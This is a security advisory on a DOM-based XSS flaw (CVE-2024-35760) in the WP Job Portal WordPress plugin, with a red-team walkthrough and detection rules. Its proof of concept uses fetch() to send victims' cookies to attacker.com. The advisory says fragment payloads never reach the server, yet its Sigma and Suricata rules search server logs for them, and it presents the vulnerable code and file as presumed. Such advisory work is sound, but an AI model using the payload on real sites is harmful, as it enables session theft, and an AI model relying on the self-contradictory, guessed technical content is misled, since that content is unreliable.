CVE-2024-35760

Executive Summary

CVE-2024-35760 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WP Job Portal WordPress plugin (versions <= 2.1.3). This vulnerability allows an attacker to inject malicious scripts into a web page through improper neutralization of user input during web page generation. The attack is executed on the client side (DOM), meaning the payload is processed by the victim's browser without being sent to the server. The CVSS score of 5.9 (Medium) reflects the need for user interaction and the potential for partial impact on confidentiality, integrity, and availability. As a WordPress plugin vulnerability, it affects sites running the WP Job Portal plugin and does not involve Apache or Nginx server-level issues. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the WP Job Portal WordPress plugin, which is distributed through the official WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is not part of standard package managers like NPM, PyPI, Go, or Ruby. However, the supply chain risk includes:

• Plugin Updates: The vendor (wpjobportal) has not released a patch, leaving all versions <= 2.1.3 vulnerable.
• Third-Party Dependencies: The plugin may rely on JavaScript libraries (e.g., jQuery) that could be exploited if outdated.
• Distribution Channels: Users downloading from unofficial sources may receive tampered versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited data modification.
• Availability (A): Low – Limited service disruption.

Threat Level: Medium. The vulnerability requires user interaction, but the lack of a patch and the widespread use of WordPress plugins increase the risk.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS in the WP Job Portal plugin. Unlike reflected or stored XSS, DOM-Based XSS occurs entirely on the client side. The plugin's JavaScript code reads user-controllable data from the DOM (e.g., document.location, document.URL, or window.name) and writes it back to the DOM without proper sanitization.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in a fragment or query parameter (e.g., https://victim.com/wp-job-portal/#<script>alert(1)</script>).
2. The victim clicks the link, which loads the vulnerable page.
3. The plugin's JavaScript reads the fragment identifier (#) and injects it into the DOM (e.g., via innerHTML or document.write).
4. The browser executes the injected script, allowing the attacker to steal cookies, redirect the user, or perform actions on behalf of the victim.

Root Cause: The plugin fails to sanitize or encode user input before using it in DOM manipulation functions. Common sinks include eval(), innerHTML, document.write, and setTimeout().

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's JavaScript files (e.g., wp-job-portal.js). A typical vulnerable pattern:

Vulnerable Code (JavaScript):

var hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;

Patched Code (Hypothetical):

var hash = window.location.hash.substring(1);
var safeHash = document.createTextNode(hash);
document.getElementById('output').appendChild(safeHash);

The patched version uses createTextNode() to safely encode the input, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Job Portal <= 2.1.3 installed.
• A victim user with a modern browser.

Exploit Steps:

1. Identify a vulnerable endpoint (e.g., a page that uses window.location.hash).
2. Craft a malicious URL:

   https://victim.com/wp-job-portal/#<img src=x onerror=alert(document.cookie)>
   

3. Send the link to the victim via phishing email or social engineering.
4. When the victim clicks the link, the script executes in their browser.

Proof-of-Concept (PoC):

<!-- Save as poc.html and host on attacker server -->
<a href="https://victim.com/wp-job-portal/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">Click me</a>

Blue Team (Detection & Defense)

Detection:

• Monitor web logs for requests containing <script> or onerror in the URL fragment.
• Use browser-based security headers (e.g., Content-Security-Policy) to block inline scripts.

Defense:

• Disable the WP Job Portal plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block malicious fragments.
• Educate users about phishing links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing #<script> or #<img in the fragment.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• Host IOCs:
  • Unusual JavaScript execution in the browser console.
  • Modified DOM elements (e.g., injected <script> tags).
• File IOCs:
  • Plugin files: wp-content/plugins/wp-job-portal/js/wp-job-portal.js (version <= 2.1.3).

Detection Engineering

YARA Rule

rule CVE_2024_35760_WP_Job_Portal_DOM_XSS {
    meta:
        description = "Detects vulnerable WP Job Portal plugin files with DOM XSS patterns"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-35760"
    strings:
        $sink1 = ".innerHTML" nocase
        $sink2 = ".outerHTML" nocase
        $sink3 = "document.write" nocase
        $sink4 = "eval(" nocase
        $source1 = "location.hash" nocase
        $source2 = "location.search" nocase
    condition:
        (any of ($sink*)) and (any of ($source*))
}

Sigma Rule

title: CVE-2024-35760 WP Job Portal DOM XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential DOM XSS exploitation attempts against WP Job Portal
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with HTML tags (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35760 WP Job Portal DOM XSS Attempt"; flow:to_server,established; content:"#<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-35760 WP Job Portal DOM XSS Attempt - img onerror"; content:"#<img"; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and uninstall WP Job Portal until a patch is released.
2. Web Application Firewall (WAF): Deploy rules to block requests containing <script> or onerror in URL fragments.
3. Content Security Policy (CSP): Add the following header to block inline scripts:

   Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
   

Long-Term Fix:

• Monitor the vendor's website for a patched version (>= 2.1.4).
• Apply the patch as soon as it becomes available.
• Conduct a security audit of all WordPress plugins.

Workaround:

• If the plugin is critical, implement a reverse proxy that sanitizes URL fragments before passing them to the application.

Valters IT